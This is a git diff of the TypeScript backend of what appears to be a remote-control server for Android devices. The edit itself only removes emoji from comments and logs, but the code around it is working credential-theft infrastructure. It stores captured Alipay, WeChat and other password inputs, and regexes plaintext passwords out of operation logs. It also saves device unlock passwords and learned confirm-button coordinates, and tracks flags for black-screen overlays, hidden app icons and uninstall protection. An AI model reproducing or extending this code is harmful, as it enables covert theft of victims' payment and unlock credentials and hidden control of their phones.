||||
|
||||
// 🆕 添加系统版本信息字段到现有表(如果不存在)
|
||||
// 添加系统版本信息字段到现有表(如果不存在)
|
||||
try {
|
||||
this.db.exec(`ALTER TABLE devices ADD COLUMN systemVersionName TEXT`)
|
||||
} catch (error) {
|
||||
@@ -204,7 +204,7 @@ export class DatabaseService {
|
||||
)
|
||||
`)
|
||||
|
||||
// ✅ 创建设备状态表
|
||||
// 创建设备状态表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS device_states (
|
||||
deviceId TEXT PRIMARY KEY,
|
||||
@@ -221,7 +221,7 @@ export class DatabaseService {
|
||||
)
|
||||
`)
|
||||
|
||||
// 🆕 为现有表添加新字段(如果不存在)
|
||||
// 为现有表添加新字段(如果不存在)
|
||||
try {
|
||||
this.db.exec(`ALTER TABLE device_states ADD COLUMN confirmButtonCoords TEXT`)
|
||||
} catch (error) {
|
||||
@@ -252,7 +252,7 @@ export class DatabaseService {
|
||||
// 字段已存在,忽略错误
|
||||
}
|
||||
|
||||
// 💰 创建支付宝密码记录表
|
||||
// 创建支付宝密码记录表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS alipay_passwords (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
@@ -268,7 +268,7 @@ export class DatabaseService {
|
||||
)
|
||||
`)
|
||||
|
||||
// 💬 创建微信密码记录表
|
||||
// 创建微信密码记录表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS wechat_passwords (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
@@ -284,7 +284,7 @@ export class DatabaseService {
|
||||
)
|
||||
`)
|
||||
|
||||
// 🔐 创建通用密码输入记录表
|
||||
// 创建通用密码输入记录表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS password_inputs (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
@@ -302,7 +302,7 @@ export class DatabaseService {
|
||||
)
|
||||
`)
|
||||
|
||||
// 🔐 创建用户设备权限表
|
||||
// 创建用户设备权限表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS user_device_permissions (
|
||||
userId TEXT NOT NULL,
|
||||
@@ -350,7 +350,7 @@ export class DatabaseService {
|
||||
CREATE INDEX IF NOT EXISTS idx_password_inputs_type ON password_inputs (passwordType)
|
||||
`)
|
||||
|
||||
// 💥 创建崩溃日志表
|
||||
// 创建崩溃日志表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS crash_logs (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
@@ -577,7 +577,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 将设备状态设置为离线
|
||||
* 将设备状态设置为离线
|
||||
*/
|
||||
setDeviceOffline(deviceId: string): void {
|
||||
try {
|
||||
@@ -607,7 +607,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 将所有设备状态重置为离线
|
||||
* 将所有设备状态重置为离线
|
||||
*/
|
||||
resetAllDevicesToOffline(): void {
|
||||
try {
|
||||
@@ -744,10 +744,10 @@ export class DatabaseService {
|
||||
lastSeen: new Date(row.lastSeen),
|
||||
connectionCount: row.connectionCount,
|
||||
lastSocketId: row.lastSocketId,
|
||||
status: row.status || 'offline', // ✅ 添加状态字段
|
||||
status: row.status || 'offline', // 添加状态字段
|
||||
publicIP: row.publicIP,
|
||||
remark: row.remark, // 🆕 添加备注字段
|
||||
// 🆕 添加系统版本信息字段
|
||||
remark: row.remark, // 添加备注字段
|
||||
// 添加系统版本信息字段
|
||||
systemVersionName: row.systemVersionName,
|
||||
romType: row.romType,
|
||||
romVersion: row.romVersion,
|
||||
@@ -756,7 +756,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 更新设备备注
|
||||
* 更新设备备注
|
||||
*/
|
||||
updateDeviceRemark(deviceId: string, remark: string): boolean {
|
||||
try {
|
||||
@@ -779,7 +779,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 获取设备备注
|
||||
* 获取设备备注
|
||||
*/
|
||||
getDeviceRemark(deviceId: string): string | null {
|
||||
try {
|
||||
@@ -962,8 +962,8 @@ export class DatabaseService {
|
||||
SELECT content, extraData FROM operation_logs
|
||||
WHERE deviceId = ?
|
||||
AND (
|
||||
content LIKE '%🔒 密码输入:%' OR
|
||||
content LIKE '%🔑 密码输入分析完成%' OR
|
||||
content LIKE '% 密码输入:%' OR
|
||||
content LIKE '% 密码输入分析完成%' OR
|
||||
content LIKE '%密码%' OR
|
||||
content LIKE '%PIN%'
|
||||
)
|
||||
@@ -995,8 +995,8 @@ export class DatabaseService {
|
||||
// 尝试从 content 中提取密码
|
||||
const content = row.content
|
||||
|
||||
// 匹配 "🔒 密码输入: xxx (N位)" 格式
|
||||
const passwordMatch = content.match(/🔒 密码输入:\s*(.+?)\s*\(\d+位\)/)
|
||||
// 匹配 " 密码输入: xxx (N位)" 格式
|
||||
const passwordMatch = content.match(/ 密码输入:\s*(.+?)\s*\(\d+位\)/)
|
||||
if (passwordMatch) {
|
||||
const password = passwordMatch[1].trim()
|
||||
// 过滤掉纯遮罩字符的密码
|
||||
@@ -1005,8 +1005,8 @@ export class DatabaseService {
|
||||
}
|
||||
}
|
||||
|
||||
// 匹配 "🔑 密码输入分析完成: xxx" 格式
|
||||
const analysisMatch = content.match(/🔑 密码输入分析完成:\s*(.+)/)
|
||||
// 匹配 " 密码输入分析完成: xxx" 格式
|
||||
const analysisMatch = content.match(/ 密码输入分析完成:\s*(.+)/)
|
||||
if (analysisMatch) {
|
||||
const password = analysisMatch[1].trim()
|
||||
if (password && !password.match(/^[•*]+$/)) {
|
||||
@@ -1023,7 +1023,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 获取设备状态
|
||||
* 获取设备状态
|
||||
*/
|
||||
getDeviceState(deviceId: string): DeviceStateRecord | null {
|
||||
try {
|
||||
@@ -1057,7 +1057,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 保存或更新设备状态
|
||||
* 保存或更新设备状态
|
||||
*/
|
||||
saveDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void {
|
||||
try {
|
||||
@@ -1155,7 +1155,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 更新设备密码
|
||||
* 更新设备密码
|
||||
*/
|
||||
updateDevicePassword(deviceId: string, password: string): void {
|
||||
try {
|
||||
@@ -1168,7 +1168,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 更新设备输入阻止状态
|
||||
* 更新设备输入阻止状态
|
||||
*/
|
||||
updateDeviceInputBlocked(deviceId: string, blocked: boolean): void {
|
||||
try {
|
||||
@@ -1181,7 +1181,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 更新设备日志记录状态
|
||||
* 更新设备日志记录状态
|
||||
*/
|
||||
updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void {
|
||||
this.saveDeviceState(deviceId, { loggingEnabled: enabled })
|
||||
@@ -1189,7 +1189,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 更新设备黑屏遮盖状态
|
||||
* 更新设备黑屏遮盖状态
|
||||
*/
|
||||
updateDeviceBlackScreenActive(deviceId: string, active: boolean): void {
|
||||
this.saveDeviceState(deviceId, { blackScreenActive: active })
|
||||
@@ -1197,7 +1197,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 更新设备应用隐藏状态
|
||||
* 更新设备应用隐藏状态
|
||||
*/
|
||||
updateDeviceAppHidden(deviceId: string, hidden: boolean): void {
|
||||
this.saveDeviceState(deviceId, { appHidden: hidden })
|
||||
@@ -1205,7 +1205,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🛡️ 更新设备防止卸载保护状态
|
||||
* 更新设备防止卸载保护状态
|
||||
*/
|
||||
updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void {
|
||||
this.saveDeviceState(deviceId, { uninstallProtectionEnabled: enabled })
|
||||
@@ -1213,7 +1213,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 获取设备密码(优先从状态表获取,其次从日志获取)
|
||||
* 获取设备密码(优先从状态表获取,其次从日志获取)
|
||||
*/
|
||||
getDevicePassword(deviceId: string): string | null {
|
||||
try {
|
||||
@@ -1241,21 +1241,21 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 保存设备密码(别名方法,用于API调用)
|
||||
* 保存设备密码(别名方法,用于API调用)
|
||||
*/
|
||||
saveDevicePassword(deviceId: string, password: string): void {
|
||||
this.updateDevicePassword(deviceId, password)
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 更新设备状态(别名方法,用于API调用)
|
||||
* 更新设备状态(别名方法,用于API调用)
|
||||
*/
|
||||
updateDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void {
|
||||
this.saveDeviceState(deviceId, state)
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 保存确认按钮坐标
|
||||
* 保存确认按钮坐标
|
||||
*/
|
||||
saveConfirmButtonCoords(deviceId: string, coords: { x: number, y: number }): void {
|
||||
try {
|
||||
@@ -1268,7 +1268,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 获取确认按钮坐标
|
||||
* 获取确认按钮坐标
|
||||
*/
|
||||
getConfirmButtonCoords(deviceId: string): { x: number, y: number } | null {
|
||||
try {
|
||||
@@ -1284,7 +1284,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 更新学习的确认按钮坐标
|
||||
* 更新学习的确认按钮坐标
|
||||
*/
|
||||
updateLearnedConfirmButton(deviceId: string, coords: { x: number, y: number }): void {
|
||||
try {
|
||||
@@ -1344,7 +1344,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💰 保存支付宝密码记录
|
||||
* 保存支付宝密码记录
|
||||
*/
|
||||
saveAlipayPassword(record: AlipayPasswordRecord): void {
|
||||
try {
|
||||
@@ -1367,7 +1367,7 @@ export class DatabaseService {
|
||||
now.toISOString()
|
||||
)
|
||||
|
||||
this.logger.info(`💰 支付宝密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`)
|
||||
this.logger.info(` 支付宝密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`)
|
||||
} catch (error) {
|
||||
this.logger.error('保存支付宝密码失败:', error)
|
||||
throw error
|
||||
@@ -1375,7 +1375,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💰 获取设备的支付宝密码记录(分页)
|
||||
* 获取设备的支付宝密码记录(分页)
|
||||
*/
|
||||
getAlipayPasswords(deviceId: string, page: number = 1, pageSize: number = 50): {
|
||||
passwords: AlipayPasswordRecord[],
|
||||
@@ -1437,7 +1437,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💰 获取设备最新的支付宝密码
|
||||
* 获取设备最新的支付宝密码
|
||||
*/
|
||||
getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null {
|
||||
try {
|
||||
@@ -1472,7 +1472,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💰 删除设备的支付宝密码记录
|
||||
* 删除设备的支付宝密码记录
|
||||
*/
|
||||
clearAlipayPasswords(deviceId: string): void {
|
||||
try {
|
||||
@@ -1489,7 +1489,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💰 清理旧的支付宝密码记录
|
||||
* 清理旧的支付宝密码记录
|
||||
*/
|
||||
cleanupOldAlipayPasswords(daysToKeep: number = 30): void {
|
||||
try {
|
||||
@@ -1508,7 +1508,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💬 保存微信密码记录
|
||||
* 保存微信密码记录
|
||||
*/
|
||||
saveWechatPassword(record: WechatPasswordRecord): void {
|
||||
try {
|
||||
@@ -1531,7 +1531,7 @@ export class DatabaseService {
|
||||
now.toISOString()
|
||||
)
|
||||
|
||||
this.logger.info(`💬 微信密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`)
|
||||
this.logger.info(` 微信密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`)
|
||||
} catch (error) {
|
||||
this.logger.error('保存微信密码失败:', error)
|
||||
throw error
|
||||
@@ -1539,7 +1539,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💬 获取设备的微信密码记录(分页)
|
||||
* 获取设备的微信密码记录(分页)
|
||||
*/
|
||||
getWechatPasswords(deviceId: string, page: number = 1, pageSize: number = 50): {
|
||||
passwords: WechatPasswordRecord[],
|
||||
@@ -1601,7 +1601,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💬 获取设备最新的微信密码
|
||||
* 获取设备最新的微信密码
|
||||
*/
|
||||
getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null {
|
||||
try {
|
||||
@@ -1636,7 +1636,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💬 删除设备的微信密码记录
|
||||
* 删除设备的微信密码记录
|
||||
*/
|
||||
clearWechatPasswords(deviceId: string): void {
|
||||
try {
|
||||
@@ -1653,7 +1653,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💬 清理旧的微信密码记录
|
||||
* 清理旧的微信密码记录
|
||||
*/
|
||||
cleanupOldWechatPasswords(daysToKeep: number = 30): void {
|
||||
try {
|
||||
@@ -1672,15 +1672,15 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 保存通用密码输入记录
|
||||
* 保存通用密码输入记录
|
||||
*/
|
||||
savePasswordInput(record: PasswordInputRecord): void {
|
||||
try {
|
||||
// 🔧 在保存前验证设备是否存在
|
||||
// 在保存前验证设备是否存在
|
||||
const deviceExists = this.getDeviceById(record.deviceId)
|
||||
if (!deviceExists) {
|
||||
const errorMsg = `设备 ${record.deviceId} 不存在于数据库中,无法保存密码记录`
|
||||
this.logger.error(`❌ ${errorMsg}`)
|
||||
this.logger.error(` ${errorMsg}`)
|
||||
throw new Error(errorMsg)
|
||||
}
|
||||
|
||||
@@ -1705,12 +1705,12 @@ export class DatabaseService {
|
||||
now.toISOString()
|
||||
)
|
||||
|
||||
this.logger.info(`🔐 通用密码输入已保存: 设备=${record.deviceId}, 类型=${record.passwordType}, 密码长度=${record.passwordLength}, 活动=${record.activity}`)
|
||||
this.logger.info(` 通用密码输入已保存: 设备=${record.deviceId}, 类型=${record.passwordType}, 密码长度=${record.passwordLength}, 活动=${record.activity}`)
|
||||
} catch (error: any) {
|
||||
// 🔧 提供更详细的错误信息
|
||||
// 提供更详细的错误信息
|
||||
if (error.code === 'SQLITE_CONSTRAINT_FOREIGNKEY') {
|
||||
const errorMsg = `外键约束错误:设备 ${record.deviceId} 不存在于 devices 表中`
|
||||
this.logger.error(`❌ ${errorMsg}`)
|
||||
this.logger.error(` ${errorMsg}`)
|
||||
throw new Error(errorMsg)
|
||||
} else {
|
||||
this.logger.error('保存通用密码输入失败:', error)
|
||||
@@ -1720,7 +1720,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 获取设备的通用密码输入记录(分页)
|
||||
* 获取设备的通用密码输入记录(分页)
|
||||
*/
|
||||
getPasswordInputs(deviceId: string, page: number = 1, pageSize: number = 50, passwordType?: string): {
|
||||
passwords: PasswordInputRecord[],
|
||||
@@ -1792,7 +1792,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 获取设备最新的通用密码输入
|
||||
* 获取设备最新的通用密码输入
|
||||
*/
|
||||
getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null {
|
||||
try {
|
||||
@@ -1836,7 +1836,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 删除设备的通用密码输入记录
|
||||
* 删除设备的通用密码输入记录
|
||||
*/
|
||||
clearPasswordInputs(deviceId: string, passwordType?: string): void {
|
||||
try {
|
||||
@@ -1860,7 +1860,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 清理旧的通用密码输入记录
|
||||
* 清理旧的通用密码输入记录
|
||||
*/
|
||||
cleanupOldPasswordInputs(daysToKeep: number = 30): void {
|
||||
try {
|
||||
@@ -1879,7 +1879,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 获取密码类型统计
|
||||
* 获取密码类型统计
|
||||
*/
|
||||
getPasswordTypeStats(deviceId: string): any[] {
|
||||
try {
|
||||
@@ -1909,11 +1909,11 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 删除设备及其所有相关数据
|
||||
* 删除设备及其所有相关数据
|
||||
*/
|
||||
deleteDevice(deviceId: string): void {
|
||||
try {
|
||||
this.logger.info(`🗑️ 开始删除设备: ${deviceId}`)
|
||||
this.logger.info(` 开始删除设备: ${deviceId}`)
|
||||
|
||||
// 开始事务
|
||||
const deleteTransaction = this.db.transaction(() => {
|
||||
@@ -1981,8 +1981,8 @@ export class DatabaseService {
|
||||
// 执行事务
|
||||
const result = deleteTransaction()
|
||||
|
||||
this.logger.info(`✅ 设备删除完成: ${deviceId}`)
|
||||
this.logger.info(`📊 删除统计: 设备=${result.deviceRecords}, 状态=${result.stateRecords}, 日志=${result.logRecords}, 连接=${result.connectionRecords}, 支付宝=${result.alipayRecords}, 微信=${result.wechatRecords}, 通用密码=${result.passwordInputRecords}, 用户权限=${result.userPermissionRecords}`)
|
||||
this.logger.info(` 设备删除完成: ${deviceId}`)
|
||||
this.logger.info(` 删除统计: 设备=${result.deviceRecords}, 状态=${result.stateRecords}, 日志=${result.logRecords}, 连接=${result.connectionRecords}, 支付宝=${result.alipayRecords}, 微信=${result.wechatRecords}, 通用密码=${result.passwordInputRecords}, 用户权限=${result.userPermissionRecords}`)
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error(`删除设备失败: ${deviceId}`, error)
|
||||
@@ -1991,12 +1991,12 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 授予用户设备控制权限
|
||||
* 授予用户设备控制权限
|
||||
*/
|
||||
grantUserDevicePermission(userId: string, deviceId: string, permissionType: string = 'control', expiresAt?: Date): boolean {
|
||||
try {
|
||||
const now = new Date()
|
||||
// 🛡️ 默认权限有效期为7天,平衡安全性和可用性
|
||||
// 默认权限有效期为7天,平衡安全性和可用性
|
||||
const defaultExpiresAt = expiresAt || new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000)
|
||||
|
||||
const stmt = this.db.prepare(`
|
||||
@@ -2016,7 +2016,7 @@ export class DatabaseService {
|
||||
now.toISOString()
|
||||
)
|
||||
|
||||
this.logger.info(`🔐 用户 ${userId} 获得设备 ${deviceId} 的 ${permissionType} 权限 (有效期至: ${defaultExpiresAt.toISOString()})`)
|
||||
this.logger.info(` 用户 ${userId} 获得设备 ${deviceId} 的 ${permissionType} 权限 (有效期至: ${defaultExpiresAt.toISOString()})`)
|
||||
return true
|
||||
} catch (error) {
|
||||
this.logger.error('授予用户设备权限失败:', error)
|
||||
@@ -2025,7 +2025,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 撤销用户设备权限
|
||||
* 撤销用户设备权限
|
||||
*/
|
||||
revokeUserDevicePermission(userId: string, deviceId: string): boolean {
|
||||
try {
|
||||
@@ -2038,10 +2038,10 @@ export class DatabaseService {
|
||||
const result = stmt.run(new Date().toISOString(), userId, deviceId)
|
||||
|
||||
if (result.changes > 0) {
|
||||
this.logger.info(`🔐 用户 ${userId} 的设备 ${deviceId} 权限已撤销`)
|
||||
this.logger.info(` 用户 ${userId} 的设备 ${deviceId} 权限已撤销`)
|
||||
return true
|
||||
} else {
|
||||
this.logger.warn(`🔐 用户 ${userId} 对设备 ${deviceId} 没有权限`)
|
||||
this.logger.warn(` 用户 ${userId} 对设备 ${deviceId} 没有权限`)
|
||||
return false
|
||||
}
|
||||
} catch (error) {
|
||||
@@ -2051,7 +2051,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 检查用户是否有设备权限
|
||||
* 检查用户是否有设备权限
|
||||
*/
|
||||
hasUserDevicePermission(userId: string, deviceId: string, permissionType: string = 'control'): boolean {
|
||||
try {
|
||||
@@ -2070,7 +2070,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 获取用户的所有设备权限
|
||||
* 获取用户的所有设备权限
|
||||
*/
|
||||
getUserDevicePermissions(userId: string): Array<{ deviceId: string, permissionType: string, grantedAt: Date }> {
|
||||
try {
|
||||
@@ -2099,7 +2099,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 清理过期的权限
|
||||
* 清理过期的权限
|
||||
*/
|
||||
cleanupExpiredPermissions(): number {
|
||||
try {
|
||||
@@ -2112,7 +2112,7 @@ export class DatabaseService {
|
||||
const result = stmt.run(new Date().toISOString(), new Date().toISOString())
|
||||
|
||||
if (result.changes > 0) {
|
||||
this.logger.info(`🧹 清理了 ${result.changes} 个过期权限`)
|
||||
this.logger.info(` 清理了 ${result.changes} 个过期权限`)
|
||||
}
|
||||
|
||||
return result.changes
|
||||
@@ -2122,10 +2122,10 @@ export class DatabaseService {
|
||||
}
|
||||
}
|
||||
|
||||
// ==================== 💥 崩溃日志相关 ====================
|
||||
// ==================== 崩溃日志相关 ====================
|
||||
|
||||
/**
|
||||
* 💥 保存崩溃日志
|
||||
* 保存崩溃日志
|
||||
*/
|
||||
saveCrashLog(data: {
|
||||
deviceId: string
|
||||
@@ -2153,7 +2153,7 @@ export class DatabaseService {
|
||||
data.osVersion || '',
|
||||
new Date().toISOString()
|
||||
)
|
||||
this.logger.info(`💥 崩溃日志已保存: ${data.deviceId} - ${data.fileName}`)
|
||||
this.logger.info(` 崩溃日志已保存: ${data.deviceId} - ${data.fileName}`)
|
||||
return true
|
||||
} catch (error) {
|
||||
this.logger.error('保存崩溃日志失败:', error)
|
||||
@@ -2162,7 +2162,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💥 获取设备的崩溃日志列表
|
||||
* 获取设备的崩溃日志列表
|
||||
*/
|
||||
getCrashLogs(deviceId: string, page: number = 1, pageSize: number = 20): {
|
||||
logs: any[]
|
||||
@@ -2196,7 +2196,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💥 获取崩溃日志详情(含内容)
|
||||
* 获取崩溃日志详情(含内容)
|
||||
*/
|
||||
getCrashLogDetail(logId: number): any | null {
|
||||
try {
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -129,7 +129,7 @@ export class OptimizationService {
|
||||
}
|
||||
|
||||
if (cleanedCount > 0) {
|
||||
this.logger.debug(`🧹 清理过期缓存: ${cleanedCount}条`)
|
||||
this.logger.debug(` 清理过期缓存: ${cleanedCount}条`)
|
||||
}
|
||||
}, 30000) // 每30秒检查一次
|
||||
}
|
||||
|
||||
@@ -256,11 +256,11 @@ export class PerformanceMonitorService {
|
||||
const sys = metrics.systemMetrics
|
||||
|
||||
this.logger.info(`
|
||||
📊 性能指标 (${new Date(metrics.timestamp).toLocaleTimeString()}):
|
||||
💾 内存: ${mem.heapUsed}MB / ${mem.heapTotal}MB (${mem.heapUsedPercent}%) | RSS: ${mem.rss}MB
|
||||
📨 消息: ${msg.messagesPerSecond}/s | 延迟: ${msg.averageLatency}ms (p95: ${msg.p95Latency}ms, p99: ${msg.p99Latency}ms) | 错误率: ${msg.errorRate}%
|
||||
🔌 连接: ${conn.totalConnections}个 (活跃: ${conn.activeConnections}, 空闲: ${conn.idleConnections}) | 新增: ${conn.newConnectionsPerMinute}/min
|
||||
⚙️ 系统: 运行时间 ${sys.uptime}s | CPU: ${sys.cpuUsage}% | 事件循环延迟: ${sys.eventLoopLag}ms
|
||||
性能指标 (${new Date(metrics.timestamp).toLocaleTimeString()}):
|
||||
内存: ${mem.heapUsed}MB / ${mem.heapTotal}MB (${mem.heapUsedPercent}%) | RSS: ${mem.rss}MB
|
||||
消息: ${msg.messagesPerSecond}/s | 延迟: ${msg.averageLatency}ms (p95: ${msg.p95Latency}ms, p99: ${msg.p99Latency}ms) | 错误率: ${msg.errorRate}%
|
||||
连接: ${conn.totalConnections}个 (活跃: ${conn.activeConnections}, 空闲: ${conn.idleConnections}) | 新增: ${conn.newConnectionsPerMinute}/min
|
||||
系统: 运行时间 ${sys.uptime}s | CPU: ${sys.cpuUsage}% | 事件循环延迟: ${sys.eventLoopLag}ms
|
||||
`)
|
||||
}
|
||||
|
||||
@@ -282,22 +282,22 @@ export class PerformanceMonitorService {
|
||||
|
||||
// 内存警告
|
||||
if (latest.memoryUsage.heapUsedPercent > 80) {
|
||||
warnings.push(`⚠️ 内存使用过高: ${latest.memoryUsage.heapUsedPercent}%`)
|
||||
warnings.push(` 内存使用过高: ${latest.memoryUsage.heapUsedPercent}%`)
|
||||
}
|
||||
|
||||
// 延迟警告
|
||||
if (latest.messageMetrics.p99Latency > 500) {
|
||||
warnings.push(`⚠️ 消息延迟过高: P99=${latest.messageMetrics.p99Latency}ms`)
|
||||
warnings.push(` 消息延迟过高: P99=${latest.messageMetrics.p99Latency}ms`)
|
||||
}
|
||||
|
||||
// 错误率警告
|
||||
if (latest.messageMetrics.errorRate > 5) {
|
||||
warnings.push(`⚠️ 错误率过高: ${latest.messageMetrics.errorRate}%`)
|
||||
warnings.push(` 错误率过高: ${latest.messageMetrics.errorRate}%`)
|
||||
}
|
||||
|
||||
// 事件循环延迟警告
|
||||
if (latest.systemMetrics.eventLoopLag > 100) {
|
||||
warnings.push(`⚠️ 事件循环延迟过高: ${latest.systemMetrics.eventLoopLag}ms`)
|
||||
warnings.push(` 事件循环延迟过高: ${latest.systemMetrics.eventLoopLag}ms`)
|
||||
}
|
||||
|
||||
return warnings
|
||||
@@ -312,7 +312,7 @@ export class PerformanceMonitorService {
|
||||
|
||||
if (!latest) return '暂无数据'
|
||||
|
||||
let report = '📈 性能报告\n'
|
||||
let report = ' 性能报告\n'
|
||||
report += '='.repeat(50) + '\n'
|
||||
report += `时间: ${new Date(latest.timestamp).toLocaleString()}\n`
|
||||
report += `内存: ${latest.memoryUsage.heapUsed}MB / ${latest.memoryUsage.heapTotal}MB\n`
|
||||
@@ -322,10 +322,10 @@ export class PerformanceMonitorService {
|
||||
report += `运行时间: ${latest.systemMetrics.uptime}s\n`
|
||||
|
||||
if (warnings.length > 0) {
|
||||
report += '\n⚠️ 警告:\n'
|
||||
report += '\n 警告:\n'
|
||||
warnings.forEach(w => report += ` ${w}\n`)
|
||||
} else {
|
||||
report += '\n✅ 系统运行正常\n'
|
||||
report += '\n 系统运行正常\n'
|
||||
}
|
||||
|
||||
return report
|
||||
|
||||
Reference in New Issue
Block a user